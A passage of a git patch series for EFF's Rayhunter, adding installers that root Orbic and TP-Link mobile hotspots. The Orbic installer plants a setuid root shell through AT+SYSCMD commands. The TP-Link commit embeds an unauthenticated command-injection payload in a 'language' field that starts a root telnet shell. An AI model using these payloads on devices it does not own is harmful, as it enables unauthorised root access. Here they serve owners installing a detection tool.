deleted file mode 100644 index 35b33e22..00000000 --- a/.github/workflows/ISSUE_TEMPLATE/config.yaml +++ /dev/null @@ -1,8 +0,0 @@ -blank_issues_enabled: false -contact_links: - - name: Rayhunter Mattermost - url: https://opensource.eff.org/signup_user_complete/?id=6iqur37ucfrctfswrs14iscobw&md=link&sbr=su - about: If you're having trouble using Rayhunter and aren't sure you've found a bug or request for a new feature, please first try asking for help here. There is a much larger community there of people familiar with the project who will be able to more quickly answer your questions. - - name: Rayhunter Security Policy - url: https://github.com/EFForg/rayhunter/security/advisories/new - about: Please report security vulnerabilities here. diff --git a/.github/workflows/ISSUE_TEMPLATE/feature.yaml b/.github/workflows/ISSUE_TEMPLATE/feature.yaml deleted file mode 100644 index 1e2a35a2..00000000 --- a/.github/workflows/ISSUE_TEMPLATE/feature.yaml +++ /dev/null @@ -1,27 +0,0 @@ -name: Feature Request -description: Suggest a new feature or improvement to Rayhunter -title: "[Feature Request]: " -labels: ["enhancement"] -body: - - type: textarea - id: problem - attributes: - label: What problem does this feature solve or what does it enhance? - description: Explain what this feature addresses, ors the benefit it provides. - placeholder: For example, "Currently, users have to manually do X, which is time-consuming." - validations: - required: true - - type: textarea - id: solution - attributes: - label: Proposed Solution - description: Describe the solution you'd like to see implemented. - placeholder: For example, "Implement a new button that automatically does X." - validations: - required: true - - type: textarea - id: alternatives - attributes: - label: Alternatives Considered - description: Have you considered any alternative solutions? - placeholder: For example, "We considered Y, but Z is a better approach because..." diff --git a/.github/workflows/build-release.yml b/.github/workflows/build-release.yml index 2c2fd64e..3c22cef3 100644 --- a/.github/workflows/build-release.yml +++ b/.github/workflows/build-release.yml @@ -105,7 +105,7 @@ jobs: - run: cargo build --bin installer --release --target ${{ matrix.platform.target }} --features vendor - uses: actions/upload-artifact@v4 with: - name: tplink-installer-${{ matrix.platform.name }} + name: installer-${{ matrix.platform.name }} path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }} if-no-files-found: error @@ -114,14 +114,15 @@ jobs: - build_serial_and_check - build_rootshell - build_rayhunter + - build_rust_installer runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/download-artifact@v4 - name: Fix executable permissions on binaries - run: chmod +x serial-*/serial rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon + run: chmod +x serial-*/serial installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon - name: Setup release directory - run: mv rayhunter-daemon-* rootshell/rootshell serial-* dist + run: mv rayhunter-daemon-* rootshell/rootshell serial-* installer-* dist - name: Archive release directory run: tar -cvf release.tar -C dist . # TODO: have this create a release directly diff --git a/.github/workflows/check-and-test.yml b/.github/workflows/check-and-test.yml index 06b1f734..f666f27d 100644 --- a/.github/workflows/check-and-test.yml +++ b/.github/workflows/check-and-test.yml @@ -27,3 +27,17 @@ jobs: - name: Run clippy run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }} + windows_installer_check_and_test: + runs-on: windows-latest + steps: + - uses: actions/checkout@v3 + - name: cargo check + shell: bash + run: | + cd installer + cargo check --verbose + - name: cargo test + shell: bash + run: | + cd installer + cargo test --verbose --no-default-features --features=${{ matrix.device.name }} diff --git a/.gitignore b/.gitignore index ea8c4bf7..1a4595e2 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,2 @@ /target +*.log diff --git a/Cargo.toml b/Cargo.toml index 776a869f..204db37c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -3,8 +3,8 @@ members = [ "lib", "bin", - "serial", "rootshell", - "telcom-parser", "installer", + "telcom-parser", + "installer", ] resolver = "2" diff --git a/installer/src/main.rs b/installer/src/main.rs index 5e930012..effa13b7 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -1,6 +1,7 @@ use anyhow::{Context, Error}; use clap::{Parser, Subcommand}; +mod orbic; mod tplink; pub static CONFIG_TOML: &[u8] = include_bytes!("../../dist/config.toml.example"); @@ -15,6 +16,8 @@ struct Args { #[derive(Subcommand, Debug)] enum Command { + /// Install rayhunter on the Orbic Orbic RC400L. + InstallOrbic(InstallOrbic), /// Install rayhunter on the TP-Link M7350. InstallTplink(InstallTpLink), } @@ -39,13 +42,24 @@ struct InstallTpLink { admin_ip: String, } -#[tokio::main] -async fn main() -> Result<(), Error> { +#[derive(Parser, Debug)] +struct InstallOrbic {} + +async fn run_function() -> Result<(), Error> { let Args { command } = Args::parse(); match command { Command::InstallTplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?, + Command::InstallOrbic(_) => orbic::install().await.context("Failed to install rayhunter on the Orbic RC400L")?, } Ok(()) } + +#[tokio::main] +async fn main() { + if let Err(e) = run_function().await { + eprintln!("{e:?}"); + std::process::exit(1); + } +} diff --git a/installer/src/orbic.rs b/installer/src/orbic.rs index 812a4990..33f3db94 100644 --- a/installer/src/orbic.rs +++ b/installer/src/orbic.rs @@ -1,40 +1,299 @@ -//! Serial communication with the orbic device -//! -//! This binary has two main functions, putting the orbic device in update mode which enables ADB -//! and running AT commands on the serial modem interface which can be used to upload a shell and chown it to root -//! -//! # Errors -//! -//! No device found - make sure your device is plugged in and turned on. If it is, it's possible you have a device with a different -//! usb id, file a bug with the output of `lsusb` attached. -use std::str; +use std::io::{ErrorKind, Write}; +use std::path::Path; use std::time::Duration; -use anyhow::{bail, Context, Result}; +use adb_client::{ADBDeviceExt, ADBUSBDevice, RustADBError}; +use anyhow::{Context, Result, anyhow, bail}; +use nusb::hotplug::HotplugEvent; use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer}; use nusb::{Device, Interface}; +use sha2::{Digest, Sha256}; +use tokio::time::sleep; +use tokio_stream::StreamExt; + +use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT}; const ORBIC_NOT_FOUND: &str = r#"No Orbic device found. Make sure your device is plugged in and turned on. -If it's possible you have a device with a different usb id: -please file a bug with the output of `lsusb` attached."#; +If you're sure you've plugged in an Orbic device via USB, there may be a bug in +our installer. Please file a bug with the output of `lsusb` attached."#; + +const ORBIC_BUSY: &str = r#"The Orbic is plugged in but is being used by another program. + +Please close any program that might be using your USB devices. +If you have adb installed you may need to kill the adb daemon"#; + +const VENDOR_ID: u16 = 0x05c6; +const PRODUCT_ID: u16 = 0xf601; + +pub async fn install() -> Result<()> { + let mut adb_device = force_debug_mode().await?; + let serial_interface = open_orbic()?.ok_or_else(|| anyhow!(ORBIC_NOT_FOUND))?; + print!("Installing rootshell..."); + std::io::stdout().flush()?; + setup_rootshell(&serial_interface, &mut adb_device).await?; + println!(" done"); + print!("Installing rayhunter..."); + std::io::stdout().flush()?; + let mut adb_device = setup_rayhunter(&serial_interface, adb_device).await?; + println!(" done"); + print!("Testing rayhunter..."); + std::io::stdout().flush()?; + test_rayhunter(&mut adb_device).await?; + println!(" done"); + Ok(()) +} + +async fn force_debug_mode() -> Result { + println!("Forcing a switch into the debug mode to enable ADB"); + enable_command_mode()?; + print!("ADB enabled, waiting for reboot..."); + std::io::stdout().flush()?; + let mut adb_device = wait_for_adb_shell().await?; + println!(" it's alive!"); + print!("Waiting for atfwd_daemon to startup..."); + std::io::stdout().flush()?; + adb_command(&mut adb_device, &["pgrep", "atfwd_daemon"])?; + println!(" done"); + Ok(adb_device) +} + +async fn setup_rootshell( + serial_interface: &Interface, + adb_device: &mut ADBUSBDevice, +) -> Result<()> { + #[cfg(feature = "vendor")] + let rootshell_bin = include_bytes!("../../rootshell/rootshell"); + + #[cfg(not(feature = "vendor"))] + let rootshell_bin = &tokio::fs::read("target/armv7-unknown-linux-musleabihf/release/rootshell") + .await + .context("Error reading rootshell from local file system")?; + + install_file( + serial_interface, + adb_device, + "/bin/rootshell", + rootshell_bin, + ) + .await?; + tokio::time::sleep(Duration::from_secs(1)).await; + at_syscmd(serial_interface, "chown root /bin/rootshell").await?; + tokio::time::sleep(Duration::from_secs(1)).await; + at_syscmd(serial_interface, "chmod 4755 /bin/rootshell").await?; + let output = adb_command(adb_device, &["/bin/rootshell", "-c", "id"])?; + if !output.contains("uid=0") { + bail!("rootshell is not giving us root."); + } + Ok(()) +} + +async fn setup_rayhunter( + serial_interface: &Interface, + mut adb_device: ADBUSBDevice, +) -> Result { + #[cfg(feature = "vendor")] + let rayhunter_daemon_bin = include_bytes!("../../rayhunter-daemon-orbic/rayhunter-daemon"); + + #[cfg(not(feature = "vendor"))] + let rayhunter_daemon_bin = + &tokio::fs::read("target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon") + .await + .context("Error reading rayhunter-daemon from local file system")?; + + at_syscmd(serial_interface, "mkdir -p /data/rayhunter").await?; + install_file( + serial_interface, + &mut adb_device, + "/data/rayhunter/rayhunter-daemon", + rayhunter_daemon_bin, + ) + .await?; + install_file( + serial_interface, + &mut adb_device, + "/data/rayhunter/config.toml", + CONFIG_TOML, + ) + .await?; + install_file( + serial_interface, + &mut adb_device, + "/etc/init.d/rayhunter_daemon", + RAYHUNTER_DAEMON_INIT, + ) + .await?; + install_file( + serial_interface, + &mut adb_device, + "/etc/init.d/misc-daemon", + include_bytes!("../../dist/scripts/misc-daemon"), + ) + .await?; + at_syscmd(serial_interface, "chmod 755 /etc/init.d/rayhunter_daemon").await?; + at_syscmd(serial_interface, "chmod 755 /etc/init.d/misc-daemon").await?; + println!("done"); + print!("Waiting for reboot..."); + std::io::stdout().flush()?; + at_syscmd(serial_interface, "shutdown -r -t 1 now").await?; + // first wait for shutdown (it can take ~10s) + tokio::time::timeout(Duration::from_secs(30), async { + while let Ok(dev) = adb_echo_test(adb_device).await { + adb_device = dev; + sleep(Duration::from_secs(1)).await; + } + }) + .await + .context("Orbic took too long to shutdown")?; + // now wait for boot to finish + let adb_device = wait_for_adb_shell().await?; + Ok(adb_device) +} + +async fn test_rayhunter(adb_device: &mut ADBUSBDevice) -> Result<()> { + const MAX_FAILURES: u32 = 10; + let mut failures = 0; + while failures < MAX_FAILURES { + if let Ok(output) = adb_command( + adb_device, + &["wget", "-O", "-", "http://localhost:8080/index.html"], + ) { + if output.contains("html") { + return Ok(()); + } + } + failures += 1; + sleep(Duration::from_secs(3)).await; + } + bail!("timeout reached! failed to reach rayhunter, something went wrong :(") +} + +async fn install_file( + serial_interface: &Interface, + adb_device: &mut ADBUSBDevice, + dest: &str, + payload: &[u8], +) -> Result<()> { + const MAX_FAILURES: u32 = 5; + let mut failures = 0; + loop { + match install_file_impl(serial_interface, adb_device, dest, payload).await { + Ok(()) => return Ok(()), + Err(e) => { + if failures > MAX_FAILURES { + return Err(e); + } else { + sleep(Duration::from_secs(1)).await; + failures += 1; + } + } + } + } +} -#[tokio::main(flavor = "current_thread")] -async fn main() -> Result<()> { - let args: Vec = std::env::args().collect(); +async fn install_file_impl( + serial_interface: &Interface, + adb_device: &mut ADBUSBDevice, + dest: &str, + payload: &[u8], +) -> Result<()> { + let file_name = Path::new(dest) + .file_name() + .ok_or_else(|| anyhow!("{dest} does not have a file name"))? + .to_str() + .ok_or_else(|| anyhow!("{dest}'s file name is not UTF8"))? + .to_owned(); + let push_tmp_path = format!("/tmp/{file_name}"); + let mut hasher = Sha256::new(); + hasher.update(payload); + let file_hash_bytes = hasher.finalize(); + let file_hash = format!("{file_hash_bytes:x}"); + #[allow(clippy::useless_asref)] + adb_device.push(&mut payload.as_ref(), &push_tmp_path)?; + at_syscmd(serial_interface, &format!("mv {push_tmp_path} {dest}")).await?; + let file_info = adb_device + .stat(dest) + .context("Failed to stat transfered file")?; + if file_info.file_size == 0 { + bail!("File transfer unseccessful\nFile is empty"); + } + let ouput = adb_command(adb_device, &["sha256sum", dest])?; + if !ouput.contains(&file_hash) { + bail!("File transfer unseccessful\nBad hash expected {file_hash} got {ouput}"); + } + Ok(()) +} + +fn adb_command(adb_device: &mut ADBUSBDevice, command: &[&str]) -> Result { + let mut buf = Vec::::new(); + adb_device.shell_command(command, &mut buf)?; + Ok(String::from_utf8_lossy(&buf).into_owned()) +} - if args.len() != 2 || args[1] == "-h" || args[1] == "--help" { - println!("usage: {0} [ | --root]", args[0]); - std::process::exit(1); +async fn wait_for_adb_shell() -> Result { + const MAX_FAILURES: u32 = 10; + let mut failures = 0; + loop { + match ADBUSBDevice::new(VENDOR_ID, PRODUCT_ID) { + Ok(dev) => match adb_echo_test(dev).await { + Ok(dev) => return Ok(dev), + Err(e) => { + if failures > MAX_FAILURES { + return Err(e); + } else { + sleep(Duration::from_secs(1)).await; + failures += 1; + } + } + }, + Err(RustADBError::IOError(e)) if e.kind() == ErrorKind::ResourceBusy => { + bail!(ORBIC_BUSY); + } + Err(RustADBError::DeviceNotFound(_)) => { + wait_for_usb_device(VENDOR_ID, PRODUCT_ID).await?; + } + Err(e) => { + if failures > MAX_FAILURES { + return Err(e.into()); + } else { + sleep(Duration::from_secs(1)).await; + failures += 1; + } + } + } + } +} + +async fn adb_echo_test(mut adb_device: ADBUSBDevice) -> Result { + let mut buf = Vec::::new(); + let test_echo = "qwertyzxcvbnm"; + let thread = std::thread::spawn(move || { + adb_device.shell_command(&["echo", test_echo], &mut buf)?; + Ok::<(ADBUSBDevice, Vec), RustADBError>((adb_device, buf)) + }); + sleep(Duration::from_secs(1)).await; + if thread.is_finished() { + if let Ok(Ok((dev, buf))) = thread.join() { + if let Ok(s) = std::str::from_utf8(&buf) { + if s.contains(test_echo) { + return Ok(dev); + } + } + } } + bail!("Could not communicate with the Orbic. Try disconnecting and reconnecting."); +} - if args[1] == "--root" { - enable_command_mode() - } else { - match open_orbic()? { - Some(interface) => send_command(interface, &args[1]).await, - None => bail!(ORBIC_NOT_FOUND), +async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> { + loop { + let mut watcher = nusb::watch_devices()?; + while let Some(event) = watcher.next().await { + if let HotplugEvent::Connected(dev) = event { + if dev.vendor_id() == vendor_id && dev.product_id() == product_id { + return Ok(()); + } + } } } } @@ -42,13 +301,13 @@ async fn main() -> Result<()> { /// Sends an AT command to the usb device over the serial port /// /// First establish a USB handle and context by calling `open_orbic() -async fn send_command(interface: Interface, command: &str) -> Result<()> { +async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> { let mut data = String::new(); data.push_str("\r\n"); - data.push_str(command); + data.push_str(&format!("AT+SYSCMD={command}")); data.push_str("\r\n"); - let timeout = Duration::from_secs(1); + let timeout = Duration::from_secs(2); let enable_serial_port = Control { control_type: ControlType::Class, @@ -89,8 +348,7 @@ async fn send_command(interface: Interface, command: &str) -> Result<()> { // the garbage with `from_utf8_lossy` and look for our expected success string. let responsestr = String::from_utf8_lossy(&response); if !responsestr.contains("\r\nOK\r\n") { - println!("Received unexpected response: {0}", responsestr); - std::process::exit(1); + bail!("Received unexpected response: {0}", responsestr); } Ok(()) @@ -107,7 +365,7 @@ fn enable_command_mode() -> Result<()> { let timeout = Duration::from_secs(1); - if let Some(device) = open_device(0x05c6, 0xf626)? { + if let Some(device) = open_usb_device(VENDOR_ID, 0xf626)? { let enable_command_mode = Control { control_type: ControlType::Vendor, recipient: Recipient::Device, @@ -135,7 +393,7 @@ fn enable_command_mode() -> Result<()> { /// Get an Interface for the orbic device fn open_orbic() -> Result> { // Device after initial mode switch - if let Some(device) = open_device(0x05c6, 0xf601)? { + if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? { let interface = device .detach_and_claim_interface(1) // will reattach drivers on release .context("detach_and_claim_interface(1) failed")?; @@ -143,7 +401,7 @@ fn open_orbic() -> Result> { } // Device with rndis enabled as well - if let Some(device) = open_device(0x05c6, 0xf622)? { + if let Some(device) = open_usb_device(VENDOR_ID, 0xf622)? { let interface = device .detach_and_claim_interface(1) // will reattach drivers on release .context("detach_and_claim_interface(1) failed")?; @@ -154,7 +412,7 @@ fn open_orbic() -> Result> { } /// General function to open a USB device -fn open_device(vid: u16, pid: u16) -> Result> { +fn open_usb_device(vid: u16, pid: u16) -> Result> { let devices = match nusb::list_devices() { Ok(d) => d, Err(_) => return Ok(None), From 385c5aa4fbc73d27023ff5d3b7f65a4b2ec53271 Mon Sep 17 00:00:00 2001 From: Markus Unterwaditzer Date: Fri, 25 Apr 2025 21:38:24 +0200 Subject: [PATCH 08/14] Simplify the tplink installer Found an exploit that requires fewer HTTP requests and can be run without auth. --- Cargo.lock | 1 - installer/Cargo.toml | 1 - installer/src/main.rs | 8 ------ installer/src/tplink.rs | 58 +++++++---------------------------------- 4 files changed, 10 insertions(+), 58 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 49f4f2cf..b34c56ca 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1602,7 +1602,6 @@ dependencies = [ "nusb", "reqwest", "serde", - "serde_json", "sha2", "tokio", "tokio-retry2", diff --git a/installer/Cargo.toml b/installer/Cargo.toml index edc352e7..76b5562e 100644 --- a/installer/Cargo.toml +++ b/installer/Cargo.toml @@ -15,7 +15,6 @@ md5 = "0.7.0" nusb = "0.1.13" reqwest = { version = "0.12.15", features = ["json"], default-features = false } serde = { version = "1.0.219", features = ["derive"] } -serde_json = "1.0.140" sha2 = "0.10.8" tokio = { version = "1.44.2", features = ["full"] } tokio-retry2 = "0.5.7" diff --git a/installer/src/main.rs b/installer/src/main.rs index effa13b7..4559fbc3 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -29,14 +29,6 @@ struct InstallTpLink { #[arg(long)] skip_sdcard: bool, - /// Username for TP-Link admin interface, if custom. - #[arg(long, default_value = "admin")] - username: String, - - /// Password for TP-Link admin interface, if custom. - #[arg(long, default_value = "admin")] - password: String, - /// IP address for TP-Link admin interface, if custom. #[arg(long, default_value = "192.168.0.1")] admin_ip: String, diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs index fd5bc48f..701ef588 100644 --- a/installer/src/tplink.rs +++ b/installer/src/tplink.rs @@ -4,7 +4,6 @@ use std::time::Duration; use anyhow::{Context, Error}; use serde::Deserialize; -use serde_json::json; use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::net::TcpStream; use tokio::time::{sleep, timeout}; @@ -14,68 +13,31 @@ use crate::InstallTpLink; pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { let InstallTpLink { skip_sdcard, - username, - password, admin_ip, } = args; - let qcmap_auth_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_auth"); let qcmap_web_cgi_endpoint = format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"); - - #[derive(Deserialize)] - struct NonceResponse { - nonce: String, - } - let client = reqwest::Client::new(); - let NonceResponse { nonce } = client - .post(&qcmap_auth_endpoint) - .body(r#"{"module":"authenticator","action":0}"#) - .send() - .await? - .error_for_status()? - .json() - .await?; - - println!("Successfully detected TP-Link M7350 v3, nonce: {nonce}"); - - let digest_md5 = md5::compute(format!("{username}:{password}:{nonce}").as_bytes()); - #[derive(Deserialize)] - struct TokenResponse { - token: String, + struct RootResponse { + result: u64, } - let TokenResponse { token } = client - .post(&qcmap_auth_endpoint) - .json(&json!({ - "module": "authenticator", - "action": 1, - "digest": format!("{:x}", digest_md5) - })) + println!("Launching telnet on the device"); + + // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r + // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132 + let RootResponse { result } = client.post(&qcmap_web_cgi_endpoint) + .body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#) .send() .await? .error_for_status()? .json() .await?; - println!("Got token: {token}"); - - for language in &["$(busybox telnetd -l /bin/sh)", "en"] { - println!("Setting language of device to {language}"); - client - .post(&qcmap_web_cgi_endpoint) - .header("Cookie", format!("tpweb_token={token}")) - .json(&json!({ - "token": token, - "module": "webServer", - "action": 1, - "language": language - })) - .send() - .await? - .error_for_status()?; + if result != 0 { + anyhow::bail!("Bad result code when trying to root device: {result}"); } println!("Connecting via telnet to {admin_ip}"); From 05f5ed76a0cf12775d4440c2724200faa0c929b9 Mon Sep 17 00:00:00 2001 From: Sashanoraa Date: Fri, 25 Apr 2025 17:45:03 -0400 Subject: [PATCH 09/14] Update adb_client to remove unneeded deps from tcp --- Cargo.lock | 242 +------------------------------------------ installer/Cargo.toml | 7 +- 2 files changed, 8 insertions(+), 241 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index b34c56ca..ebee10c3 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -5,7 +5,7 @@ version = 4 [[package]] name = "adb_client" version = "2.1.11" -source = "git+https://github.com/gaykitty/adb_client.git?branch=nusb#1d0a327fa118887743a23232ea0f83968ebad70b" +source = "git+https://github.com/gaykitty/adb_client.git?branch=nusb#287f926f13ef85ac8ce8672d1996f9d12366e5cd" dependencies = [ "async-io", "base64", @@ -15,18 +15,14 @@ dependencies = [ "futures-lite", "homedir", "image", - "lazy_static", "log", "mdns-sd", "num-bigint-dig", "num-traits", "nusb", - "quick-protobuf", "rand 0.9.1", - "rcgen", "regex", "rsa", - "rustls", "rustls-pki-types", "serde", "serde_repr", @@ -300,29 +296,6 @@ dependencies = [ "arrayvec", ] -[[package]] -name = "aws-lc-rs" -version = "1.13.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19b756939cb2f8dc900aa6dcd505e6e2428e9cae7ff7b028c49e3946efa70878" -dependencies = [ - "aws-lc-sys", - "zeroize", -] - -[[package]] -name = "aws-lc-sys" -version = "0.28.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bfa9b6986f250236c27e5a204062434a773a13243d2ffc2955f37bdba4c5c6a1" -dependencies = [ - "bindgen", - "cc", - "cmake", - "dunce", - "fs_extra", -] - [[package]] name = "axum" version = "0.8.3" @@ -413,29 +386,6 @@ dependencies = [ "serde", ] -[[package]] -name = "bindgen" -version = "0.69.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088" -dependencies = [ - "bitflags 2.6.0", - "cexpr", - "clang-sys", - "itertools", - "lazy_static", - "lazycell", - "log", - "prettyplease", - "proc-macro2", - "quote", - "regex", - "rustc-hash", - "shlex", - "syn 2.0.100", - "which", -] - [[package]] name = "bit_field" version = "0.10.2" @@ -538,15 +488,6 @@ dependencies = [ "shlex", ] -[[package]] -name = "cexpr" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766" -dependencies = [ - "nom", -] - [[package]] name = "cfg-expr" version = "0.15.8" @@ -584,17 +525,6 @@ dependencies = [ "windows-link", ] -[[package]] -name = "clang-sys" -version = "1.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4" -dependencies = [ - "glob", - "libc", - "libloading", -] - [[package]] name = "clap" version = "4.5.37" @@ -635,15 +565,6 @@ version = "0.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f46ad14479a25103f283c0f10005961cf086d8dc42205bb44c46ac563475dca6" -[[package]] -name = "cmake" -version = "0.1.54" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7caa3f9de89ddbe2c607f4101924c5abec803763ae9534e4f4d7d8f84aa81f0" -dependencies = [ - "cc", -] - [[package]] name = "color_quant" version = "1.1.0" @@ -663,7 +584,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c" dependencies = [ "lazy_static", - "windows-sys 0.52.0", + "windows-sys 0.59.0", ] [[package]] @@ -885,12 +806,6 @@ dependencies = [ "syn 2.0.100", ] -[[package]] -name = "dunce" -version = "1.0.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" - [[package]] name = "either" version = "1.15.0" @@ -1013,12 +928,6 @@ dependencies = [ "percent-encoding", ] -[[package]] -name = "fs_extra" -version = "1.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" - [[package]] name = "funty" version = "2.0.0" @@ -1176,12 +1085,6 @@ version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" -[[package]] -name = "glob" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8d1add55171497b4705a648c6b583acafb01d58050a51727785f0b2c8e0a2b2" - [[package]] name = "half" version = "2.6.0" @@ -1232,15 +1135,6 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fbf6a919d6cf397374f7dfeeea91d974c7c0a7221d0d0f4f20d859d329e53fcc" -[[package]] -name = "home" -version = "0.5.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "589533453244b0995c858700322199b2becb13b627df2851f64a2775d024abcf" -dependencies = [ - "windows-sys 0.59.0", -] - [[package]] name = "homedir" version = "0.3.4" @@ -1696,12 +1590,6 @@ dependencies = [ "spin", ] -[[package]] -name = "lazycell" -version = "1.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55" - [[package]] name = "lebe" version = "0.5.2" @@ -1724,16 +1612,6 @@ dependencies = [ "cc", ] -[[package]] -name = "libloading" -version = "0.8.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fc2f4eb4bc735547cfed7c0a4922cbd04a4655978c09b54f1f7b228750664c34" -dependencies = [ - "cfg-if", - "windows-targets 0.48.5", -] - [[package]] name = "libm" version = "0.2.13" @@ -2114,16 +1992,6 @@ dependencies = [ "tokio-byteorder", ] -[[package]] -name = "pem" -version = "3.0.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38af38e8470ac9dee3ce1bae1af9c1671fffc44ddfd8bd1d0a3445bf349a8ef3" -dependencies = [ - "base64", - "serde", -] - [[package]] name = "pem-rfc7468" version = "0.7.0" @@ -2241,16 +2109,6 @@ dependencies = [ "zerocopy 0.8.25", ] -[[package]] -name = "prettyplease" -version = "0.2.32" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "664ec5419c51e34154eec046ebcba56312d5a2fc3b09a06da188e1ad21afadf6" -dependencies = [ - "proc-macro2", - "syn 2.0.100", -] - [[package]] name = "proc-macro-crate" version = "3.3.0" @@ -2303,15 +2161,6 @@ version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3" -[[package]] -name = "quick-protobuf" -version = "0.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d6da84cc204722a989e01ba2f6e1e276e190f22263d0cb6ce8526fcdb0d2e1f" -dependencies = [ - "byteorder", -] - [[package]] name = "quote" version = "1.0.35" @@ -2511,19 +2360,6 @@ dependencies = [ "crossbeam-utils", ] -[[package]] -name = "rcgen" -version = "0.13.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75e669e5202259b5314d1ea5397316ad400819437857b90861765f24c4cf80a2" -dependencies = [ - "pem", - "ring", - "rustls-pki-types", - "time", - "yasna", -] - [[package]] name = "redox_syscall" version = "0.4.1" @@ -2604,20 +2440,6 @@ version = "0.8.50" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "57397d16646700483b67d2dd6511d79318f9d057fdbd21a4066aeac8b41d310a" -[[package]] -name = "ring" -version = "0.17.14" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" -dependencies = [ - "cc", - "cfg-if", - "getrandom 0.2.16", - "libc", - "untrusted", - "windows-sys 0.52.0", -] - [[package]] name = "rootshell" version = "0.2.8" @@ -2651,12 +2473,6 @@ version = "0.1.23" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" -[[package]] -name = "rustc-hash" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" - [[package]] name = "rustix" version = "0.38.34" @@ -2670,39 +2486,12 @@ dependencies = [ "windows-sys 0.52.0", ] -[[package]] -name = "rustls" -version = "0.23.26" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "df51b5869f3a441595eac5e8ff14d486ff285f7b8c0df8770e49c3b56351f0f0" -dependencies = [ - "aws-lc-rs", - "log", - "once_cell", - "rustls-pki-types", - "rustls-webpki", - "subtle", - "zeroize", -] - [[package]] name = "rustls-pki-types" version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "917ce264624a4b4db1c364dcc35bfca9ded014d0a958cd47ad3e960e988ea51c" -[[package]] -name = "rustls-webpki" -version = "0.103.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fef8b8769aaccf73098557a87cd1816b4f9c7c16811c9c77142aa695c16f2c03" -dependencies = [ - "aws-lc-rs", - "ring", - "rustls-pki-types", - "untrusted", -] - [[package]] name = "rustversion" version = "1.0.20" @@ -3316,12 +3105,6 @@ version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" -[[package]] -name = "untrusted" -version = "0.9.0" -source = 